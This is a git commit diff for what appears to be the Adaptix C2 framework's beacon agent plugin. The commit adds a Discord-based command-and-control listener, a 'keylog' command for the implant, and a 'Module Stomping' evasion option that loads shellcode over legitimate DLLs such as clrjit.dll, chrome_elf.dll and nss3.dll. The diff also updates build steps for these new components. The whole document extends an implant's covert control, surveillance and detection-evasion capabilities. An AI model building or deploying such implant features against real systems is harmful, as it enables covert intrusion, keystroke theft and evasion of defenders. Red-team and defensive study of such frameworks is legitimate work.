feat: multi-platform agents, Discord C2, services & OPSEC hardening

AdaptixServer/extenders/beacon_agent/Makefile

@@ -2,7 +2,7 @@ all: clean
 	@ echo "    * Building agent_beacon plugin"
 	@ mkdir dist
 	@ cp config.yaml ax_config.axs ./dist/
-	@ GOEXPERIMENT=jsonv2,greenteagc go build -buildmode=plugin -ldflags="-s -w" -o ./dist/agent_beacon.so pl_main.go pl_packer.go pl_utils.go pl_sideloading.go
+	@ GOEXPERIMENT=jsonv2,greenteagc go build -buildmode=plugin -ldflags="-s -w" -o ./dist/agent_beacon.so pl_main.go pl_packer.go pl_utils.go pl_sideloading.go pl_hashes.go pl_encoder.go
 	@ echo "      done..."
 
 	@ echo "    * Building agent"
@@ -11,6 +11,9 @@ all: clean
 	@ mv src_beacon/objects_smb ./dist/objects_smb
 	@ mv src_beacon/objects_tcp ./dist/objects_tcp
 	@ mv src_beacon/objects_dns ./dist/objects_dns
+	@ mv src_beacon/objects_discord ./dist/objects_discord
+	@ cp -r src_beacon/beacon ./dist/beacon
+	@ cp -r src_beacon/files ./dist/files
 	@ echo "      done..."
 
 clean:

AdaptixServer/extenders/beacon_agent/ax_config.axs

@@ -268,27 +268,29 @@ function RegisterCommands(listenerType)
         ax.execute_alias(id, cmdline, new_cmd);
     });
 
+    let cmd_keylog = ax.create_command("keylog", "Start keyboard logger (stop with 'jobs kill')", "keylog", "Task: start keylogger");
+
     let cmd_interact = ax.create_command("interact", "Set 'sleep 0'", "interact");
     cmd_interact.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {
         ax.execute_alias(id, cmdline, "sleep 0");
     });
 
     if(listenerType == "BeaconDNS") {
         let commands_dns = ax.create_commands_group("beacon", [cmd_cat, cmd_cd, cmd_cp, cmd_disks, cmd_download, cmd_execute, cmd_exfil, cmd_getuid,
-            cmd_job, cmd_link, cmd_ls, cmd_lportfwd, cmd_mv, cmd_mkdir, cmd_profile, cmd_ps, cmd_pwd, cmd_rev2self, cmd_rm, cmd_rportfwd, cmd_sleep,
+            cmd_job, cmd_keylog, cmd_link, cmd_ls, cmd_lportfwd, cmd_mv, cmd_mkdir, cmd_profile, cmd_ps, cmd_pwd, cmd_rev2self, cmd_rm, cmd_rportfwd, cmd_sleep,
             cmd_socks, cmd_terminate, cmd_unlink, cmd_upload, cmd_shell, cmd_powershell, cmd_interact, cmd_burst] );
         return { commands_windows: commands_dns }
     }
-    else if(listenerType == "BeaconHTTP") {
+    else if(listenerType == "BeaconHTTP" || listenerType == "BeaconDiscord") {
         let commands_http = ax.create_commands_group("beacon", [cmd_cat, cmd_cd, cmd_cp, cmd_disks, cmd_download, cmd_execute, cmd_exfil, cmd_getuid,
-            cmd_job, cmd_link, cmd_ls, cmd_lportfwd, cmd_mv, cmd_mkdir, cmd_profile, cmd_ps, cmd_pwd, cmd_rev2self, cmd_rm, cmd_rportfwd, cmd_sleep,
+            cmd_job, cmd_keylog, cmd_link, cmd_ls, cmd_lportfwd, cmd_mv, cmd_mkdir, cmd_profile, cmd_ps, cmd_pwd, cmd_rev2self, cmd_rm, cmd_rportfwd, cmd_sleep,
             cmd_socks, cmd_terminate, cmd_unlink, cmd_upload, cmd_shell, cmd_powershell, cmd_interact] );
 
         return { commands_windows: commands_http }
     }
     else if (listenerType == "BeaconSMB" || listenerType == "BeaconTCP") {
         let commands_internal = ax.create_commands_group("beacon", [cmd_cat, cmd_cd, cmd_cp, cmd_disks, cmd_download, cmd_execute, cmd_exfil, cmd_getuid,
-            cmd_job, cmd_link, cmd_ls, cmd_lportfwd, cmd_mv, cmd_mkdir, cmd_profile, cmd_ps, cmd_pwd, cmd_rev2self, cmd_rm, cmd_rportfwd,
+            cmd_job, cmd_keylog, cmd_link, cmd_ls, cmd_lportfwd, cmd_mv, cmd_mkdir, cmd_profile, cmd_ps, cmd_pwd, cmd_rev2self, cmd_rm, cmd_rportfwd,
             cmd_socks, cmd_terminate, cmd_unlink, cmd_upload, cmd_shell, cmd_powershell, cmd_interact] );
 
         return { commands_windows: commands_internal }
@@ -316,7 +318,7 @@ function GenerateUI(listeners_type)
     spinJitter.setRange(0, 100);
     spinJitter.setValue(0);
 
-    if( !listeners_type.includes("BeaconHTTP") && !listeners_type.includes("BeaconDNS") ) {
+    if( !listeners_type.includes("BeaconHTTP") && !listeners_type.includes("BeaconDNS") && !listeners_type.includes("BeaconDiscord") ) {
         labelSleep.setVisible(false);
         textSleep.setVisible(false);
         spinJitter.setVisible(false);
@@ -345,6 +347,28 @@ function GenerateUI(listeners_type)
     //     checkIatHiding.setVisible(false);
     // }
 
+    let checkModuleStomp = form.create_check("Module Stomping (Shellcode x64 only)");
+    checkModuleStomp.setChecked(true);
+    let labelStompPaths = form.create_label("Stomp DLLs:");
+    let textStompPaths = form.create_textmulti(
+        "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll\n" +
+        "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorlib.ni.dll\n" +
+        "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll\n" +
+        "C:\\Program Files\\Google\\Chrome\\Application\\chrome_elf.dll\n" +
+        "C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome_elf.dll\n" +
+        "C:\\Program Files\\Mozilla Firefox\\nss3.dll\n" +
+        "C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll\n" +
+        "C:\\Program Files\\7-Zip\\7z.dll\n" +
+        "C:\\Program Files\\Git\\mingw64\\bin\\libcurl-4.dll\n" +
+        "C:\\Program Files\\VideoLAN\\VLC\\libvlc.dll\n" +
+        "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge_elf.dll\n" +
+        "mshtml.dll\n" +
+        "shell32.dll\n" +
+        "dbghelp.dll\n" +
+        "mfc140u.dll\n" +
+        "vcruntime140.dll"
+    );
+
     //////////////////// DNS Settings
 
     let labelDnsMode = form.create_label("DNS Mode:");
@@ -484,9 +508,12 @@ function GenerateUI(listeners_type)
     layout.addWidget(labelRotation,       8, 0, 1, 1);
     layout.addWidget(comboRotation,       8, 1, 1, 2);
     layout.addWidget(checkIatHiding,      9, 0, 1, 3);
-    layout.addWidget(group_proxy,        10, 0, 1, 3);
-    layout.addWidget(group_dns,          12, 0, 1, 3);
-    layout.addWidget(spacer2,            12, 0, 1, 3);
+    layout.addWidget(checkModuleStomp,  10, 0, 1, 3);
+    layout.addWidget(labelStompPaths,   11, 0, 1, 1);
+    layout.addWidget(textStompPaths,    11, 1, 1, 2);
+    layout.addWidget(group_proxy,       12, 0, 1, 3);
+    layout.addWidget(group_dns,         14, 0, 1, 3);
+    layout.addWidget(spacer2,           15, 0, 1, 3);
 
     form.connect(comboAgentFormat, "currentTextChanged", function(text) {
         if(text == "Service Exe") {
@@ -524,6 +551,8 @@ function GenerateUI(listeners_type)
     container.put("is_sideloading",      checkSideloading)
     container.put("sideloading_content", sideloadingSelector)
     container.put("iat_hiding",          checkIatHiding)
+    container.put("module_stomp",       checkModuleStomp)
+    container.put("stomp_paths",        textStompPaths)
     container.put("use_proxy",           group_proxy)
     container.put("proxy_type",          comboProxyType)
     container.put("proxy_host",          textProxyServer)
@@ -538,7 +567,7 @@ function GenerateUI(listeners_type)
     return {
         ui_panel: panel,
         ui_container: container,
-        ui_height: 480,
+        ui_height: 620,
         ui_width: 500
     }
 }

AdaptixServer/extenders/beacon_agent/config.yaml

@@ -9,4 +9,5 @@ listeners:
   - "BeaconTCP"
   - "BeaconSMB"
   - "BeaconDNS"
+  - "BeaconDiscord"
 multi_listeners: false

AdaptixServer/extenders/beacon_agent/go.sum

@@ -1 +1,2 @@
 github.com/Adaptix-Framework/axc2 v1.2.0 h1:WYEg502NTTtX1tQJUz2AaC2dmm/bS/1L1iOHOQ5kEYA=
+github.com/Adaptix-Framework/axc2 v1.2.0/go.mod h1:3oJyFeRVIql1RTsNa0meEqK3+P+6JTAMMjMdVyXhbaQ=